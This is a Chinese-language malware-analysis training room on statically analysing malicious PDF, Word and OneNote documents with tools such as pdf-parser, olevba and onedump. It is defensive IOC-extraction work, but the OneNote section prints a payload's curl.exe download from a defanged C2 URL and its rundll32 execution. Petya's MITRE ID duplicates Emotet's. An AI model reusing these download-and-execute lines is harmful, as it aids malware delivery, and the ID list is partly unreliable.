THMMalDocStaticAnalysis
Introduction
在当今的数字时代,文档是共享信息的最常见方式之一。它们用于各种目的,包括报告、提案和合同。由于文档的普遍性,它们也是网络攻击的常见载体。恶意行为者可以使用文档来传播恶意软件、窃取敏感信息或进行网络钓鱼攻击。
因此,分析恶意文档是任何网络安全策略的重要组成部分。分析师可以通过分析文档的结构和内容并采取措施缓解威胁来识别潜在威胁。这在当今尤为重要,因为越来越多的企业依赖数字文档来共享和存储敏感信息。
预期结果
本室的预期结果是确定文档是否确实是恶意的,然后寻找以下指标:
- 存在恶意 URL
- 文件名/API 函数的引用
- IP 地址
- 域
- 恶意脚本,如 Powershell、JavaScript、VBScript 宏等
在本室中,我们将了解恶意文档的不同变体、它们的结构以及它们在不同网络钓鱼攻击中的使用方式。然后,我们将探索分析恶意文档所需的工具和概念。
学习目标
在本室中,将涵盖以下学习目标:
- 不同类型的文档,如 onenote、dotm、docx、xls 等。
- 分析复杂的 JavaScript。
- 恶意文档分析的重要性。
- PDF 结构和关键组件,如对象、关键字和过滤。
Initial Access - Spearphishing Attachment
恶意文档是攻击者获取系统初始访问权限或侵入网络的主要方式之一。许多 APT 组织发现使用鱼叉式网络钓鱼附件作为其初始访问技术。
鱼叉式网络钓鱼附件
鱼叉式网络钓鱼附件 是非常常见的网络攻击,通过精心制作和个性化的网络钓鱼电子邮件针对特定个人或组织。攻击者旨在诱骗收件人打开恶意附件,通常包含恶意软件、勒索软件或其他有害软件。通过这样做,攻击者获得对目标系统的未经授权的访问权限,从而使他们能够窃取敏感信息、破坏系统或实现其他邪恶目标。
高级持续性威胁 (APT) 是高度组织化的网络犯罪团体或国家支持的实体,他们使用鱼叉式网络钓鱼攻击来渗透目标系统。APT 团体使用带有附件的鱼叉式网络钓鱼来绕过安全措施并在目标环境中立足,这是一种有效的方式。以下是一些在攻击中使用鱼叉式网络钓鱼附件的 APT 团体的示例:
- APT28 (Fancy Bear):这个俄罗斯国家支持的团体曾发动过多次引人注目的网络攻击,例如 2016 年民主党全国委员会 (DNC) 黑客攻击。APT28 使用带有恶意附件的鱼叉式网络钓鱼电子邮件伪装成合法文件来诱骗收件人打开它们。一旦打开,安装在受害者计算机上的恶意软件就会让攻击者窃取敏感信息。
- APT34 (OilRig):APT34 是一个伊朗网络间谍组织,其目标是各个行业,主要集中在中东地区。他们的策略之一包括使用带有恶意 Microsoft Excel 附件的鱼叉式网络钓鱼电子邮件。当受害者打开附件时,宏会启动恶意软件的下载和安装,然后与攻击者的命令和控制服务器建立连接。
- APT29(Cozy Bear):另一个俄罗斯国家支持的组织 APT29 针对全球各国政府和组织。在 2020 年针对挪威议会的一次备受瞩目的攻击中,APT29 向议会议员发送了带有恶意附件的鱼叉式网络钓鱼电子邮件。这次攻击导致敏感数据未经授权访问。
- APT10(MenuPass Group):APT10 是一个中国网络间谍组织,针对各个领域的组织,包括政府、航空航天和医疗保健。他们使用带有恶意附件的鱼叉式网络钓鱼电子邮件,这些附件看起来像是合法文件,例如工作邀请或发票。当打开附件时,其中包含的恶意软件会危害目标的系统,从而使 APT10 能够窃取敏感数据。
与恶意文档相关的恶意软件家族:
通过恶意文档传播的一些恶意软件家族包括:
Emotet:
技术细节:Emotet 是一种银行木马,通常通过恶意电子邮件附件进行传播,通常以 Microsoft Word 文档的形式出现。安装后,Emotet 可以窃取敏感信息,例如银行凭证和电子邮件地址,还可用于下载其他恶意软件。
MITRE 参考:MITRE ATT&CK 框架包含 Emotet 的参考,可在 https://attack.mitre.org/software/S0367/ 找到。
Trickbot:
- 技术细节:Trickbot 是一种银行木马,通常通过恶意电子邮件附件进行传播,以其模块化设计而闻名,允许攻击者根据需要为恶意软件添加新功能。Trickbot 已被用来传播勒索软件、窃取数据和执行其他类型的恶意活动。
- MITRE 参考:MITRE ATT&CK 框架包含 Trickbot 的参考,可在 https://attack.mitre.org/software/S0383/ 找到。
QBot:
技术细节:QBot 是一种银行木马,通常通过恶意电子邮件附件分发,并因其窃取银行凭证和其他敏感信息的能力而闻名。QBot 还能够下载和执行其他恶意软件,并可用于在受感染的系统上创建后门。
MITRE 参考:MITRE ATT&CK 框架包含 QBot 的参考,可在 https://attack.mitre.org/software/S0385/ 找到。
Dridex:
- 技术细节:Dridex 是一种银行木马,通常通过恶意电子邮件附件分发,并因其窃取银行凭证和其他敏感信息的能力而闻名。 Dridex 自 2014 年以来一直活跃,是近年来最流行的银行木马之一。
- MITRE 参考:MITRE ATT&CK 框架包含有关 Dridex 的参考,可在 https://attack.mitre.org/software/S0384/ 找到。
Locky:
- 技术细节:Locky 是一个勒索软件家族,通常通过恶意电子邮件附件传播,通常以 Microsoft Word 文档的形式出现。安装后,Locky 会加密受害者的文件并要求支付赎金以换取解密密钥。
- MITRE 参考:MITRE ATT&CK 框架包含有关 Locky 的参考,可在 https://attack.mitre.org/software/S0369/ 找到。
Zeus:
- 技术细节:Zeus 是一种银行木马,自 2007 年以来一直活跃,经常通过恶意电子邮件附件进行传播。Zeus 以窃取银行凭证和其他敏感信息的能力而闻名,多年来已多次被用于高调攻击。
- MITRE 参考:MITRE ATT&CK 框架包含 Zeus 的参考,可在 https://attack.mitre.org/software/S0382/ 找到。
Petya:
- 技术细节:Petya 是一个勒索软件家族,经常通过恶意电子邮件附件进行传播,自 2016 年以来一直活跃。Petya 以加密受害者整个硬盘的能力而闻名,与其他类型的勒索软件相比,它更难恢复。
- MITRE 参考:MITRE ATT&CK 框架包含对 Petya 的参考,可在 https://attack.mitre.org/software/S0367/ 找到。
Documents and Their Malicious Use
攻击者可以滥用不同类型的数字文档来传播恶意软件或在用户系统上执行代码。打开来自未知来源的文档时务必小心谨慎,并保持软件和安全措施最新,以降低成为此类攻击受害者的风险。下面介绍一些文档及其恶意用途:
可移植文档格式 (PDF) 是一种广泛使用的文档格式,可以在不同的设备和操作系统上打开。但是,攻击者也可以使用 PDF 来传播恶意软件或对用户系统发起攻击。例如,攻击者可以在 PDF 文件中嵌入恶意代码或链接,打开后可以利用用户系统中的漏洞。PDF 还可以用于网络钓鱼攻击,方法是包含将用户重定向到虚假网站的链接,提示他们输入个人信息。
DOCX
Microsoft Word 文档可用于使用宏来传播恶意软件,宏是一系列自动执行文档内任务的命令。攻击者可以在 Word 文档中嵌入恶意宏,启用后可以在用户系统上执行代码。例如,攻击者可以创建一个 Word 文档,提示用户启用宏来查看文档内容,然后执行可窃取个人信息或安装恶意软件的恶意代码。
XLSX
Excel 电子表格也可用于通过宏来传播恶意软件。与 Word 文档类似,攻击者可以在 Excel 电子表格中嵌入恶意宏,启用后可在用户系统上执行代码。例如,攻击者可以创建一个电子表格,提示用户启用宏来查看电子表格内容,然后执行可窃取个人信息或安装恶意软件的恶意代码。
PPTX
PowerPoint 演示文稿可用于传播恶意软件或网络钓鱼攻击。攻击者可以在演示文稿中嵌入恶意代码或链接,打开后可利用用户系统中的漏洞或将用户重定向到虚假网站,提示他们输入个人信息。
XML
可扩展标记语言 (XML) 是一种用于存储和传输数据的标记语言。攻击者可以使用 XML 文档来利用用户系统中的漏洞。例如,攻击者可以通过上传包含旨在利用应用程序软件漏洞的代码的 XML 文件将恶意代码注入应用程序。
OneNote
OneNote 是一款数字笔记应用程序,允许用户跨设备组织和共享笔记。虽然 OneNote 本身通常不用于传递恶意内容,但攻击者可以滥用 OneNote 来发起网络钓鱼攻击。攻击者还可以使用 OneNote 来存储和共享恶意软件。例如,攻击者可以创建一个看似包含合法信息但包含恶意软件下载链接的 OneNote 笔记本。当用户单击该链接时,恶意软件就会下载并在其系统上执行。
到目前为止,我们已经了解了一些非常常见的文档类型以及攻击者如何滥用它们来达到恶意目的。在以下任务中,我们将详细探讨它们。
PDF Documents - Structure
在我们开始分析 PDF 文档是否恶意之前,最好先了解 PDF 的结构以及其中的组件。
PDF 文档
PDF(便携式文档格式)文件由一系列组织成特定结构的对象组成。了解 PDF 文件的结构对于分析和处理 PDF 文档非常重要。以下是 PDF 文件结构的简要概述:
- PDF 标头:标头是 PDF 文件中的第一行,包含文件签名和版本号。文件签名是将文件标识为 PDF 的字符序列。版本号表示用于创建文档的 PDF 规范的版本。
%PDF-1.7 |
- PDF 正文:PDF 文件的正文包含一系列按特定结构组织的对象。每个对象都由对象编号和生成编号标识,用于唯一标识文档内的对象。
1 0 obj |
- PDF 交叉引用表:交叉引用表是提供 PDF 文件中所有对象位置图的表格。它用于快速定位文件中的对象。
xref |
- PDF 尾部:尾部是 PDF 文件中的最后一部分,提供有关文档的信息,例如交叉引用表的位置、文件的大小以及任何加密或安全设置。
trailer |
现在我们已经探索了 PDF 的不同部分,让我们来探索一些在 PDF 中有特定用途的重要关键字。
PDF 关键字 | 操作 |
---|---|
/JavaScript/JS | 此关键字指向打开文档时将运行的 JavaScript。 |
/Names | PDF 本身最有可能引用的文件名。 |
/OpenAction/AA(附加操作) | 此元素的功能是执行操作,例如运行脚本。 |
/EmbeddedFile | 显示嵌入在 PDF 文件中的其他文件,例如脚本。 |
/URI/SubmitForm | 指向互联网上其他 URL 的链接。 |
/Launch | 此关键字用于运行 PDF 文件本身中的嵌入脚本或运行 PDF 下载的新附加文件。 |
分析简单的 .pdf 文档
打开终端并转到桌面。现在,使用以下命令“notepad simple.pdf”在记事本中打开 simple.pdf 文档。
它将以文本格式打开 PDF 文档,我们将能够识别文档中存在的 PDF 结构及其组件。
在下一个任务中,我们将更深入地分析该文档。
Analyzing a PDF Document
让我们检查 simple.pdf 文档,并了解用于从 PDF 文档中获取有用信息的工具集。
打开终端并转到桌面。现在,使用以下命令“notepad simple.pdf”在记事本中打开“simple.pdf”文档。它将以文本格式打开 PDF 文档,我们将能够识别文档中存在的 PDF 结构及其组件。
如果我们仔细检查文档,我们可以得到以下详细信息:
- PDF 版本
- 作者姓名
- 对象
- 关键字,如 JavaScript、编码、操作
- 预告片
使用字符串命令从文档中提取字符串,可以获得几乎类似的信息。
工具:pdfid.py
Pdfid.py 用于总结文档中找到的对象/关键字。让我们试试这个命令 pdfid.py simple.pdf
- 对象:本文档包含 18 个对象。
- 流:本文档包含 3 个我们需要检查的流。
- JS / JavaScript:本文档包含 1 个 JavaScript 和 1 个 JS 实例。
- /OpenAction:这表示打开文档时将执行某个操作。它可以运行 JavaScript、下载有效负载等。因此,这个对象值得检查。
工具:pdf-parser.py
Pdf-parser.py 是一个非常方便的工具,可用于解析 PDF、搜索对象、过滤等。
首先,使用此命令“pdf-parser.py –help”查看帮助菜单。
让我们使用命令“pdf-parser.py simple.pdf”
此工具将返回它在 PDF 文档中找到的所有对象。让我们使用搜索选项,使用此命令“pdf-parser.py –search OpenAction simple.pdf”仅返回包含 OpenAction 关键字的对象。
输出显示对象 1,其中包含关键字 OpenAction
,然后引用对象 6。我们可以使用 --object
选项来检索对象 6。让我们使用此命令 pdf-parser.py --object 6 simple.pdf
。
上面的输出显示了对象 6,其中包含 JavaScript 代码。最后两个结果得出结论,当打开此 PDF 文档时,将触发 OpenAction,从而执行对象 6 中存在的 JavaScript 代码。
我们还可以使用这个命令 pdf-parser.py --search Javascript simple.pdf
搜索包含 JavaScript 关键字的对象
这将返回指向 JavaScript 代码的唯一对象。
工具:peepdf
Peepdf 是另一个用于 PDF 分析的工具,用于确定文档中是否存在任何恶意元素。它还有一个交互式选项可以与这些对象交互。让我们首先使用此命令 peepdf simple.pdf
来检索有关 PDF 文档的重要信息。
输出显示了有关 PDF 的一些关键信息,例如:
- 哈希值。
- 在文档中找到的对象/流/URL 的数量。
- 对对象的引用。
- 可疑元素列表,如 JavaScript/OpenAction 等。
现在让我们使用此命令 peepdf -i simple.pdf
来使用交互式界面。这将为我们提供一个交互式界面。输入 help
命令,我们将获得如下输出:
一些关键的帮助选项已突出显示。让我们使用“object”选项转储对象 6:
这不仅显示了对象 6,还对其进行了解码以显示实际的 JavaScript 代码。
让我们使用 extract js
选项来查看 JavaScript 代码。extract uri
选项还可用于提取文档中的 URL。
太棒了,我们能够查看 PDF 并从中提取 IOC。在下一个任务中,我们将研究更复杂的 JavaScript,并了解如何从嵌入的 JavaScript 中提取 IOC。
Analyzing Malicious JavaScript
让我们来看一个场景!!
在分析了恶意 PDF 文档后,初级 SOC 分析师提取了嵌入的 JavaScript 并将其交给您,以便您详细查看代码并查看是否能发现任何可疑内容。
作为 SOC L2 分析师,您的任务是检查 JavaScript 代码,尽可能进行反混淆,并提取有助于创建检测规则的 IOC。
浏览 JS 代码
转到 /home/remnux/Javascript-code
目录并使用以下命令在文本编辑器中打开代码 notepad embedded-code.js
该代码具有以下特点:
- 分析起来非常复杂且耗时。
- 它包含随机生成的变量名,这些变量名没有任何意义。
- 它包含需要反混淆的混淆代码。
Box-Js 来救场
Box-js 是一种在受控环境中执行 JavaScript 代码分析和执行的工具。它主要用于分析恶意 JavaScript 文件并了解其行为,而不会危及主机系统的安全。该工具创建了一个沙盒环境,可以在其中执行和监视 JavaScript 代码。
要使用 box-js
,请运行命令 box-js embedded-code.js
;它将显示如下所示的分析:
此工具在受控环境中运行 JavaScript,并返回其在执行过程中找到的 IOC,如上所示。
它还创建一个包含有用文件的子文件夹,如下所示:
进入文件夹并浏览文件内容。
总之,box-js
是调查人员用来快速检查复杂 JavaScript 代码的非常有用的工具之一。
Office Docs Analysis
Word 文档是使用 Microsoft Word(一种流行的文字处理软件应用程序)创建的文件。这些文件通常具有 .doc 或 .docx 文件扩展名,可以包含文本、图像、表格、图表和其他类型的内容。Word 文档有两种格式。
结构化存储格式
这种类型的 Word 文档是 Microsoft Word 97-2003 版使用的二进制格式。这些文件的扩展名包括 .doc、.ppt、.xml 等。
Office Open XML 格式 (OOXML)
此文档类型是 Microsoft Word 2007 版及更高版本使用的 XML 格式的文档。此文件格式实际上是一个压缩文件,包含文档内的所有相关数据。我们可以解压这些文档以查看其内容,只需在解压之前将扩展名替换为 .zip 即可。这些文件的扩展名包括 .docx、.docm 等。
什么使文档具有恶意
正如我们所知,文档可以嵌入各种元素,可用于恶意目的。下面解释了其中一些元素:
- 宏:宏是可以嵌入 Word 文档的小型 VBA 脚本。它们可用于自动执行任务,但也可用于执行恶意代码。恶意宏可用于在用户系统上下载和安装恶意软件、窃取敏感信息或执行其他恶意操作。
- 嵌入对象:Word 文档可以包含嵌入对象,例如图像、音频或视频文件或其他类型的文件。恶意 Word 文档可以包含旨在利用用于打开文件的软件中的漏洞的嵌入对象。
- 链接:恶意 Word 文档可以包含指向托管恶意软件或旨在窃取用户凭据的网络钓鱼页面的网站的链接。
- 漏洞:Word 文档可以包含利用用于打开文件的软件中的漏洞的代码。这些漏洞可用于在用户系统上下载和安装恶意软件或未经授权访问敏感数据。
- 隐藏内容:恶意 Word 文档可能包含用户无法看到的隐藏内容,但可用于执行恶意代码。
分析恶意文档
让我们以一个可疑的样本为例,并使用现有工具对其进行检查,以了解如何分析和识别 Word 文档中的 IOC。样本“suspicious.doc”
位于“/home/remnux/worddoc”
。
文件类型识别
我们将使用文件识别工具“trid”
来确认文件类型。输出确认该文件确实是 Word 文档。
工具:oleid
Oleid 用于提取文档的基本信息,以便更好地了解其结构,如下所示:
输出显示以下信息:
- 此文档名称为 suspect.doc
- 它未加密
- 它包含 VBA 宏
- 它是一个 Word 文档
工具:olemeta
Olemeta 还用于提取有关流的属性信息,如下所示:
我们从输出中获得的一些关键信息是:
- 文档的创建时间/上次保存时间。
- 作者姓名。
工具:oletime
Oletime 显示文档中不同流对象的创建/修改时间,如下所示:
工具:olemap
Olemap显示文件不同扇区的详细信息,如下所示:
工具:olevba
这是一个广泛用于分析的重要工具。Olevba 提取它在文件中找到的所有 VBA 对象,并分享它找到的可疑元素的摘要,如下所示:
以上输出显示了在文档中找到的宏。可疑元素的摘要如下所示:
以上摘要显示
- 文档包含用户打开文档时会自动执行的代码。
- 它包含可疑的 Base64 编码字符串。
- 它还包含 PowerShell 代码。
工具:Oledump.py
Oledump 可用于检查文档流中是否嵌入了任何宏。对象流中会出现字母“M/m”,表示此流是宏,需要检查。
这表明对象 7 和 8 包含我们需要进一步研究的宏。我们还可以使用 --metadata 或 -M 标志
来显示有关文档的信息,其中大部分信息我们已经从上面使用的工具中获得了。
让我们使用 -s
标志选择对象 7,看看文档中嵌入了什么宏。
如果我们检查此 VBA 代码,它会显示它包含一个带有 base64 编码字符串的 PowerShell 脚本,该脚本将在文档打开时执行。让我们使用另一个工具来检查此文档
工具:ViperMonkey
ViperMonkey 是一种用于分析和模拟 Microsoft Office 文档中恶意宏行为的工具。让我们对文档运行此命令并查看它显示的内容:
ViperMonkey 在隔离环境中运行并模拟嵌入式宏,尝试提取 IOC 和有用信息。
与上面的输出一样,它提取的 URL 确实是误报。它还提取了一个 PowerShell 脚本,该脚本将在用户打开文件时执行。
我们可以使用 CyberChef 等工具(放置在桌面上)对 base64 编码值进行反混淆,如下所示:
base64 解码结果清晰地显示了 PowerShell 代码。现在很明显,该文档将尝试连接到端口 4444 上的 C2 服务器以访问名为 stage2.exe 的恶意软件。我们可以使用另一个 CyberChef 配方 Extract URLs 从输出中提取 URL,如下所示:
就是这样。
我们找到了 IOC,即 C2 服务器。从 SOC 分析师的角度来看,我们将继续创建出站流量检测规则,以检测是否有任何主机过去曾与此 C2 服务器通信,或者将来是否有任何连接。如果观察到任何通信,则意味着主机已被入侵,需要立即补救。
OneNote
OneNote 是 Microsoft 开发的一款流行的笔记和协作工具。它允许用户创建和组织包含各种内容(如文本、图像、录音和文件附件)的数字笔记本。OneNote 文件以 .one 或 .onenote 扩展名保存。
为了了解不同的 APT 组织如何在最近的活动中开始使用 OneNote 文档,让我们来看看“MalwareBazaar”
——研究人员的在线恶意软件数据库。我们可以使用搜索“file_type:one”
来搜索 OneNote 恶意软件,以显示所有 OneNote 文档。
我们将使用上面列表中的其中一个文档进行分析练习,看看我们是否可以提取一些混淆的代码或任何 IOC。
在附加的 VM 中,转到路径 /home/remnux/OneNoteDocs
,其中放置了 invoice.one
。让我们了解是否存在任何嵌入代码/IOC。
文件识别
我们将使用用于文件识别的 trid
实用程序。这证实了我们正在调查的文件确实是 OneNote 文档。
提取字符串
我们可以使用“strings”命令来查看文件中是否有任何有趣的内容,例如 IP 地址、脚本、域引用等。
看起来我们得到了一些对可疑域和一些嵌入代码的引用。让我们使用另一个实用程序 onedump.py 来获取文档中找到的对象。
Onedump 实用程序
Onedump 是一个用于提取和分析 OneNote 文档的稳定工具。让我们首先使用此命令 python3 onedump.py -h
检查帮助选项
上面的输出显示了我们可以使用该工具的一些有用标志。现在让我们使用此工具分析“invoice.one”文档,无需任何标志,使用命令“python3 onedump.py invoice.one”
输出显示该文档包含 6 个对象。我们可以逐个查看每个对象。从外观上看,我们可以确认对象 5 和 6 似乎有 HTML 文件。
让我们使用 -s
标志选择第 5 个对象,并使用 -d
标志将其转储到屏幕上。
该文件看起来像包含混淆的 JavaScript 和 VBScript 的 HTML 代码。我们将使用此命令“python3 onedump.py -s 5 -d invoice.one > obj5”保存它,并使用命令“notepad obj5”在记事本中打开它。
这段代码有一些有趣的混淆代码。代码显然使用了一个替换函数从混淆中删除字符串“5&”。我们将使用 CyberChef 替换并清除代码。
注意: CyberChef 被放置在桌面上。
现在代码更有意义了,它包含一些重要的 IOC。让我们总结一下这些发现:
- OneNote 文档包含两个可疑的 HTML 对象。
- 此脚本包含混淆的代码,通过删除“5&”可以清除它。
- 该脚本正在将反混淆的脚本写入注册表项“HKCU\SOFTWARE\Andromedia\Mp4ToAvi\Values”
- 运行脚本。
- C2 域是“hxxps[:]//unitedmedicalspecialties[.]com/T1Gpp/OI.png”。
- 使用 cURL 下载有效载荷并将有效载荷输出到 index1.png →
curl.exe --output C:\\\\ProgramData\\\\index1.png --url " + url, 0);
- 使用
sleep(15000)
休眠 15000 毫秒。 - 使用 rundll32 →
shell.shellexecute("rundll32", "C:\\ProgramData\\index1.png,Wind", "", "open", 3);
运行有效载荷。 - 删除注册表项。
Conclusion
这就是这个房间的全部内容。在这个房间里,我们学习了以下内容:
- 不同的文档类型。
- PDF 结构。
- 如何对 PDF、doc 和 OneNote 等文档进行静态分析。